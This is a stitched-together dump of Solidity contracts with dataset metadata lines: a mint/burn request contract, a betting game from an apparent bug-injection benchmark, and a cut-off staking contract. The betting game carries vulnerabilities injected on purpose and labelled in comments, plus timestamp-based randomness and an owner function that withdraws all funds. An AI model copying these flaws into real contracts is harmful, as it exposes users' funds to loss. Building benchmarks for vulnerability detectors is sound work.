burnRequests; constructor(ControllerInterface _controller) public { require(_controller != address(0), "invalid _controller address"); controller = _controller; owner = _controller; } modifier onlyMerchant() { require(controller.isMerchant(msg.sender), "sender not a merchant."); _; } modifier onlyCustodian() { require(controller.isCustodian(msg.sender), "sender not a custodian."); _; } event CustodianBtcDepositAddressSet(address indexed merchant, address indexed sender, string btcDepositAddress); function setCustodianBtcDepositAddress(address merchant, string btcDepositAddress) external onlyCustodian returns (bool) { require(merchant != 0, "invalid merchant address"); require(controller.isMerchant(merchant), "merchant address is not a real merchant."); require(!isEmptyString(btcDepositAddress), "invalid btc deposit address"); custodianBtcDepositAddress[merchant] = btcDepositAddress; emit CustodianBtcDepositAddressSet(merchant, msg.sender, btcDepositAddress); return true; } event MerchantBtcDepositAddressSet(address indexed merchant, string btcDepositAddress); function setMerchantBtcDepositAddress(string btcDepositAddress) external onlyMerchant returns (bool) { require(!isEmptyString(btcDepositAddress), "invalid btc deposit address"); merchantBtcDepositAddress[msg.sender] = btcDepositAddress; emit MerchantBtcDepositAddressSet(msg.sender, btcDepositAddress); return true; } event MintRequestAdd(uint indexed nonce, address indexed requester, uint amount, string btcDepositAddress, string btcTxid, uint timestamp, bytes32 requestHash); function addMintRequest(uint amount, string btcTxid, string btcDepositAddress) external onlyMerchant returns (bool) { require(!isEmptyString(btcDepositAddress), "invalid btc deposit address"); require(compareStrings(btcDepositAddress, custodianBtcDepositAddress[msg.sender]), "wrong btc deposit address"); uint nonce = mintRequests.length; uint timestamp = getTimestamp(); Request memory request = Request({ requester: msg.sender, amount: amount, btcDepositAddress: btcDepositAddress, btcTxid: btcTxid, nonce: nonce, timestamp: timestamp, status: RequestStatus.PENDING }); bytes32 requestHash = calcRequestHash(request); mintRequestNonce[requestHash] = nonce; mintRequests.push(request); emit MintRequestAdd(nonce, msg.sender, amount, btcDepositAddress, btcTxid, timestamp, requestHash); return true; } event MintRequestCancel(uint indexed nonce, address indexed requester, bytes32 requestHash); function cancelMintRequest(bytes32 requestHash) external onlyMerchant returns (bool) { uint nonce; Request memory request; (nonce, request) = getPendingMintRequest(requestHash); require(msg.sender == request.requester, "cancel sender is different than pending request initiator"); mintRequests[nonce].status = RequestStatus.CANCELED; emit MintRequestCancel(nonce, msg.sender, requestHash); return true; } event MintConfirmed(uint indexed nonce, address indexed requester, uint amount, string btcDepositAddress, string btcTxid, uint timestamp, bytes32 requestHash); function confirmMintRequest(bytes32 requestHash) external onlyCustodian returns (bool) { uint nonce; Request memory request; (nonce, request) = getPendingMintRequest(requestHash); mintRequests[nonce].status = RequestStatus.APPROVED; require(controller.mint(request.requester, request.amount), "mint failed"); emit MintConfirmed(request.nonce, request.requester, request.amount, request.btcDepositAddress, request.btcTxid, request.timestamp, requestHash); return true; } event MintRejected(uint indexed nonce, address indexed requester, uint amount, string btcDepositAddress, string btcTxid, uint timestamp, bytes32 requestHash); function rejectMintRequest(bytes32 requestHash) external onlyCustodian returns (bool) { uint nonce; Request memory request; (nonce, request) = getPendingMintRequest(requestHash); mintRequests[nonce].status = RequestStatus.REJECTED; emit MintRejected(request.nonce, request.requester, request.amount, request.btcDepositAddress, request.btcTxid, request.timestamp, requestHash); return true; } event Burned(uint indexed nonce, address indexed requester, uint amount, string btcDepositAddress, uint timestamp, bytes32 requestHash); function burn(uint amount) external onlyMerchant returns (bool) { string memory btcDepositAddress = merchantBtcDepositAddress[msg.sender]; require(!isEmptyString(btcDepositAddress), "merchant btc deposit address was not set"); uint nonce = burnRequests.length; uint timestamp = getTimestamp(); // set txid as empty since it is not known yet. string memory btcTxid = ""; Request memory request = Request({ requester: msg.sender, amount: amount, btcDepositAddress: btcDepositAddress, btcTxid: btcTxid, nonce: nonce, timestamp: timestamp, status: RequestStatus.PENDING }); bytes32 requestHash = calcRequestHash(request); burnRequestNonce[requestHash] = nonce; burnRequests.push(request); require(controller.getWBTC().transferFrom(msg.sender, controller, amount), "trasnfer tokens to burn failed"); require(controller.burn(amount), "burn failed"); emit Burned(nonce, msg.sender, amount, btcDepositAddress, timestamp, requestHash); return true; } event BurnConfirmed(uint indexed nonce, address indexed requester, uint amount, string btcDepositAddress, string btcTxid, uint timestamp, bytes32 inputRequestHash); function confirmBurnRequest(bytes32 requestHash, string btcTxid) external onlyCustodian returns (bool) { uint nonce; Request memory request; (nonce, request) = getPendingBurnRequest(requestHash); burnRequests[nonce].btcTxid = btcTxid; burnRequests[nonce].status = RequestStatus.APPROVED; burnRequestNonce[calcRequestHash(burnRequests[nonce])] = nonce; emit BurnConfirmed(request.nonce, request.requester, request.amount, request.btcDepositAddress, btcTxid, request.timestamp, requestHash); return true; } function getMintRequest(uint nonce) external view returns (uint requestNonce, address requester, uint amount, string btcDepositAddress, string btcTxid, uint timestamp, string status, bytes32 requestHash) { Request memory request = mintRequests[nonce]; string memory statusString = getStatusString(request.status); requestNonce = request.nonce; requester = request.requester; amount = request.amount; btcDepositAddress = request.btcDepositAddress; btcTxid = request.btcTxid; timestamp = request.timestamp; status = statusString; requestHash = calcRequestHash(request); } function getMintRequestsLength() external view returns (uint length) { return mintRequests.length; } function getBurnRequest(uint nonce) external view returns (uint requestNonce, address requester, uint amount, string btcDepositAddress, string btcTxid, uint timestamp, string status, bytes32 requestHash) { Request storage request = burnRequests[nonce]; string memory statusString = getStatusString(request.status); requestNonce = request.nonce; requester = request.requester; amount = request.amount; btcDepositAddress = request.btcDepositAddress; btcTxid = request.btcTxid; timestamp = request.timestamp; status = statusString; requestHash = calcRequestHash(request); } function getBurnRequestsLength() external view returns (uint length) { return burnRequests.length; } function getTimestamp() internal view returns (uint) { // timestamp is only used for data maintaining purpose, it is not relied on for critical logic. return block.timestamp; // solhint-disable-line not-rely-on-time } function getPendingMintRequest(bytes32 requestHash) internal view returns (uint nonce, Request memory request) { require(requestHash != 0, "request hash is 0"); nonce = mintRequestNonce[requestHash]; request = mintRequests[nonce]; validatePendingRequest(request, requestHash); } function getPendingBurnRequest(bytes32 requestHash) internal view returns (uint nonce, Request memory request) { require(requestHash != 0, "request hash is 0"); nonce = burnRequestNonce[requestHash]; request = burnRequests[nonce]; validatePendingRequest(request, requestHash); } function validatePendingRequest(Request memory request, bytes32 requestHash) internal pure { require(request.status == RequestStatus.PENDING, "request is not pending"); require(requestHash == calcRequestHash(request), "given request hash does not match a pending request"); } function calcRequestHash(Request request) internal pure returns (bytes32) { return keccak256(abi.encode(request.requester, request.amount, request.btcDepositAddress, request.btcTxid, request.nonce, request.timestamp)); } function compareStrings (string a, string b) internal pure returns (bool) { return (keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b))); } function isEmptyString (string a) internal pure returns (bool) { return (compareStrings(a, "")); } function getStatusString(RequestStatus status) internal pure returns (string) { if (status == RequestStatus.PENDING) { return "pending"; } else if (status == RequestStatus.CANCELED) { return "canceled"; } else if (status == RequestStatus.APPROVED) { return "approved"; } else if (status == RequestStatus.REJECTED) { return "rejected"; } else { // this fallback can never be reached. return "unknown"; } } }
133,288
12,047
ce73f0b00104b3b714a6f8473eb498418439c9cc917ef1d94a5d67b3f3757ab1
15,927
.sol
Solidity
false
293466625
xf97/HuangGai
40a349be6102d5eb63893fb914659405ae162d93
injectedContractDataSet/NonpublicVarAccessdByPublicFunc/0x7c3256f3d57f94f1d4873242773728b5e1d76855_nonpublicVarAccessdByPublicFunc.sol
3,934
14,810
pragma solidity ^0.5.2; contract RevealPrivilege { address owner; address internal delegateAddr; mapping(address => bool) internal isAdmin; modifier onlyAdmins() { require(isAdmin[msg.sender] == true); _; } modifier isContractOwner() { require(owner == msg.sender); _; } function addAdmin(address _addr) isContractOwner public { isAdmin[_addr] = true; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } function removeAdmin(address _addr) isContractOwner public { isAdmin[_addr] = false; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } function transferOwner(address _addr) isContractOwner public { owner = _addr; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } function setdelegateAddr(address _addr) onlyAdmins public { delegateAddr = _addr; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } } contract FIH is RevealPrivilege { using SafeMath for uint256; // constant value uint256 constant withdrawalFee = 0.05 ether; uint256 constant stake = 0.01 ether; uint256 internal bonusCodeNonce; uint16 internal currentPeriod; uint256 bonusPool; uint256 internal teamBonus; struct BonusCode { uint8 prefix; uint256 orderId; uint256 code; uint256 nums; uint256 period; address addr; } //user balance mapping(address => uint256) balanceOf; mapping(address => bool) internal allowance; // _period => BonusCode mapping(uint16 => BonusCode) internal revealResultPerPeriod; mapping(uint16 => uint256) revealBonusPerPeriod; mapping(address => BonusCode[]) revealInfoByAddr; mapping(uint16 => uint256) gameBonusPerPeriod; mapping(uint16 => mapping(address => uint256)) invitedBonus; // period => address => amount mapping(address => address) invitedRelations; mapping(uint16 => mapping(uint8 => uint256)) sideTotalAmount; // period => prefix => amount mapping(uint16 => mapping(uint256 => BonusCode)) internal revealBonusCodes; // period => code => BonusCode mapping(uint16 => uint256[]) bcodes; // period => code event Bet(uint16 _currentPeriod, uint256 _orderId, uint256 _code, address _from); event Deposit(address _from, address _to, uint256 _amount); event Reveal(uint16 _currentPeriod, uint256 _orderId, uint256 _prefix, uint256 _code, address _addr, uint256 _winnerBonus); event Withdrawal(address _to, uint256 _amount); constructor () public { owner = msg.sender; isAdmin[owner] = true; currentPeriod = 1; bonusCodeNonce = 0; bonusPool = 0; teamBonus = 0; gameBonusPerPeriod[currentPeriod] = 0; } function deposit(address _to) payable public { require(msg.value > 0); if (msg.sender != _to) { require(msg.sender == delegateAddr, "deposit can only from self-address or delegated address"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC allowance[_to] = true; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], msg.value); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC emit Deposit(msg.sender, _to, msg.value); } function bet(address _from, address _invitedAddr, uint256 _amount, uint8 _fType) public { // validate require(stake <= _amount && _amount <= balanceOf[_from], "amount should more than stake and less or equal to balance"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC if (msg.sender != _from) { require(msg.sender == delegateAddr && allowance[_from] == true, "permission rejected"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } if (_invitedAddr != address(0x0)) { require(_from != _invitedAddr, "bet _from is not equals _invitedAddr"); } //handler balance and allowance balanceOf[_from] = balanceOf[_from].safeSub(_amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC sideTotalAmount[currentPeriod][_fType] = sideTotalAmount[currentPeriod][_fType].safeAdd(_amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC //1. bonusPool uint256 currentAmount = _amount; uint256 gameBonusPercentVal = _amount.safeMul(20).safeDiv(100); uint256 teamBonusPercentVal = _amount.safeMul(15).safeDiv(100); uint256 bonusPoolPercentVal = _amount.safeMul(50).safeDiv(100); gameBonusPerPeriod[currentPeriod] = gameBonusPerPeriod[currentPeriod].safeAdd(gameBonusPercentVal); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC currentAmount = currentAmount.safeSub(gameBonusPercentVal); teamBonus = teamBonus.safeAdd(teamBonusPercentVal); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC currentAmount = currentAmount.safeSub(teamBonusPercentVal); bonusPool = bonusPool.safeAdd(bonusPoolPercentVal); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC currentAmount = currentAmount.safeSub(bonusPoolPercentVal); //invited bonus uint256 bonusLevelOne = _amount.safeMul(10).safeDiv(100); uint256 bonusLevelTwo = _amount.safeMul(5).safeDiv(100); if(_invitedAddr != address(0x0)) { invitedRelations[_from] = _invitedAddr; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } if (invitedRelations[_from] != address(0x0)) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC address fa = invitedRelations[_from]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC invitedBonus[currentPeriod][fa] = invitedBonus[currentPeriod][fa].safeAdd(bonusLevelOne); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC balanceOf[fa] = balanceOf[fa].safeAdd(bonusLevelOne); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC currentAmount = currentAmount.safeSub(bonusLevelOne); address gfa = invitedRelations[fa]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC if (gfa != address(0x0)) { invitedBonus[currentPeriod][gfa] = invitedBonus[currentPeriod][gfa].safeAdd(bonusLevelTwo); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC balanceOf[gfa] = balanceOf[gfa].safeAdd(bonusLevelTwo); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC currentAmount = currentAmount.safeSub(bonusLevelTwo); } } assert(currentAmount >= 0); bonusPool = bonusPool.safeAdd(currentAmount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC //generate order and bonusCodes uint256 oId = block.timestamp; BonusCode memory bc = BonusCode({ orderId: oId, prefix: _fType, code: bonusCodeNonce, //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC nums: _amount.safeDiv(stake), //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC addr: _from, period: currentPeriod //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC }); revealBonusCodes[currentPeriod][bonusCodeNonce] = bc; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC bcodes[currentPeriod].push(bonusCodeNonce); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC emit Bet(currentPeriod, oId, bonusCodeNonce, _from); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC bonusCodeNonce = bonusCodeNonce.safeAdd(_amount.safeDiv(stake)); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } event Debug(uint256 winnerIndex, uint256 bcodesLen, uint256 pos); function reveal(string memory _seed) public onlyAdmins { // random winner index uint256 winner = uint256(keccak256(abi.encodePacked(_seed, msg.sender, block.timestamp))) % bonusCodeNonce; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC uint256 lt = 0; uint256 rt = bcodes[currentPeriod].length - 1; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC require(lt <= rt, "bcodes length is not correct"); uint256 pos = lt; while (lt <= rt) { uint256 mid = lt + (rt - lt) / 2; if (bcodes[currentPeriod][mid] <= winner) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC pos = mid; lt = mid + 1; } else { rt = mid - 1; } } emit Debug(winner, bcodes[currentPeriod].length, pos); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC uint256 halfBonusPool = bonusPool.safeMul(50).safeDiv(100); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC BonusCode memory winnerBcode = revealBonusCodes[currentPeriod][bcodes[currentPeriod][pos]]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC // iterate; uint256 bcodesLen = bcodes[currentPeriod].length; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC for (uint256 i = 0; i < bcodesLen; i++) { if (revealBonusCodes[currentPeriod][bcodes[currentPeriod][i]].prefix != winnerBcode.prefix) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC continue; } BonusCode memory thisBonusCode = revealBonusCodes[currentPeriod][bcodes[currentPeriod][i]]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC if (thisBonusCode.addr == winnerBcode.addr && thisBonusCode.orderId == winnerBcode.orderId) { balanceOf[winnerBcode.addr] = balanceOf[winnerBcode.addr].safeAdd(halfBonusPool); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } else { uint256 bonusAmount = halfBonusPool.safeMul(thisBonusCode.nums.safeMul(stake).safeDiv(sideTotalAmount[currentPeriod][winnerBcode.prefix]) //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC); balanceOf[thisBonusCode.addr] = balanceOf[thisBonusCode.addr].safeAdd(bonusAmount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } } // update reveal result && reset value revealBonusPerPeriod[currentPeriod] = halfBonusPool; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC revealResultPerPeriod[currentPeriod] = winnerBcode; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC revealInfoByAddr[winnerBcode.addr].push(winnerBcode); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC currentPeriod++; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC bonusPool = 0; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC bonusCodeNonce = 0; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC gameBonusPerPeriod[currentPeriod] = 0; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC emit Reveal(currentPeriod - 1, winnerBcode.orderId, winnerBcode.prefix, winnerBcode.code, winnerBcode.addr, halfBonusPool); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } function withdrawal(address _from, address payable _to, uint256 _amount) public { // permission check if (msg.sender != _from) { require(allowance[_from] == true && msg.sender == delegateAddr, "permission rejected"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } // amount check require(withdrawalFee <= _amount && _amount <= balanceOf[_from], "Don't have enough balance"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC balanceOf[_from] = balanceOf[_from].safeSub(_amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC _amount = _amount.safeSub(withdrawalFee); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC teamBonus = teamBonus.safeAdd(withdrawalFee); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC _to.transfer(_amount); emit Withdrawal(_to, _amount); } function teamWithdrawal() onlyAdmins public { require(teamBonus > 0, "Don't have enough teamBonus"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC uint256 tmp = teamBonus; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC teamBonus = 0; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC msg.sender.transfer(tmp); } function gameBonusWithdrawal(uint16 _period) onlyAdmins public { require(gameBonusPerPeriod[_period] > 0, "Don't have enough money"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC uint256 tmp = gameBonusPerPeriod[_period]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC gameBonusPerPeriod[_period] = 0; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC msg.sender.transfer(tmp); } function updateContract() isContractOwner public { msg.sender.transfer(address(this).balance); } function getBalance(address _addr) public view returns(uint256) { return balanceOf[_addr]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } function getBonusPool() public view returns(uint256) { return bonusPool; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } function getBonusInvited(address _from) public view returns(uint256) { return invitedBonus[currentPeriod][_from]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } function getRevealResultPerPeriod(uint16 _period) public view returns(uint8 _prefix, uint256 _orderId, uint256 _code, uint256 _nums, address _addr, uint256 _revealBonus) { _prefix = revealResultPerPeriod[_period].prefix; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC _orderId = revealResultPerPeriod[_period].orderId; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC _code = revealResultPerPeriod[_period].code; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC _nums = revealResultPerPeriod[_period].nums; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC _addr = revealResultPerPeriod[_period].addr; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC _revealBonus = revealBonusPerPeriod[_period]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } } library SafeMath { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function safeMod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } }
279,910
12,048
f20e9c760eeef1a1d25dacd8731c966e0a845d0d47335766ef8009c708a349b6
27,367
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/mainnet/c5/C58Cd958D35E380Ab891B7F001a03117A3f80F08_TimeStaking.sol
4,198
16,940
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function add32(uint32 a, uint32 b) internal pure returns (uint32) { uint32 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) .sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IOwnable { function manager() external view returns (address); function renounceManagement() external; function pushManagement(address newOwner_) external; function pullManagement() external; } contract Ownable is IOwnable { address internal _owner; address internal _newOwner; event OwnershipPushed(address indexed previousOwner, address indexed newOwner); event OwnershipPulled(address indexed previousOwner, address indexed newOwner); constructor () { _owner = msg.sender; emit OwnershipPushed(address(0), _owner); } function manager() public view override returns (address) { return _owner; } modifier onlyManager() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceManagement() public virtual override onlyManager() { emit OwnershipPushed(_owner, address(0)); _owner = address(0); } function pushManagement(address newOwner_) public virtual override onlyManager() { require(newOwner_ != address(0), "Ownable: new owner is the zero address"); emit OwnershipPushed(_owner, newOwner_); _newOwner = newOwner_; } function pullManagement() public virtual override { require(msg.sender == _newOwner, "Ownable: must be new owner to pull"); emit OwnershipPulled(_owner, _newOwner); _owner = _newOwner; } } interface IMemo { function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256); function circulatingSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function gonsForBalance(uint amount) external view returns (uint); function balanceForGons(uint gons) external view returns (uint); function index() external view returns (uint); } interface IWarmup { function retrieve(address staker_, uint amount_) external; } interface IDistributor { function distribute() external returns (bool); } contract TimeStaking is Ownable { using SafeMath for uint256; using SafeMath for uint32; using SafeERC20 for IERC20; address public immutable Time; address public immutable Memories; struct Epoch { uint number; uint distribute; uint32 length; uint32 endTime; } Epoch public epoch; address public distributor; address public locker; uint public totalBonus; address public warmupContract; uint public warmupPeriod; constructor (address _Time, address _Memories, uint32 _epochLength, uint _firstEpochNumber, uint32 _firstEpochTime) { require(_Time != address(0)); Time = _Time; require(_Memories != address(0)); Memories = _Memories; epoch = Epoch({ length: _epochLength, number: _firstEpochNumber, endTime: _firstEpochTime, distribute: 0 }); } struct Claim { uint deposit; uint gons; uint expiry; bool lock; // prevents malicious delays } mapping(address => Claim) public warmupInfo; function stake(uint _amount, address _recipient) external returns (bool) { rebase(); IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount); Claim memory info = warmupInfo[ _recipient ]; require(!info.lock, "Deposits for account are locked"); warmupInfo[ _recipient ] = Claim ({ deposit: info.deposit.add(_amount), gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)), expiry: epoch.number.add(warmupPeriod), lock: false }); IERC20(Memories).safeTransfer(warmupContract, _amount); return true; } function claim (address _recipient) public { Claim memory info = warmupInfo[ 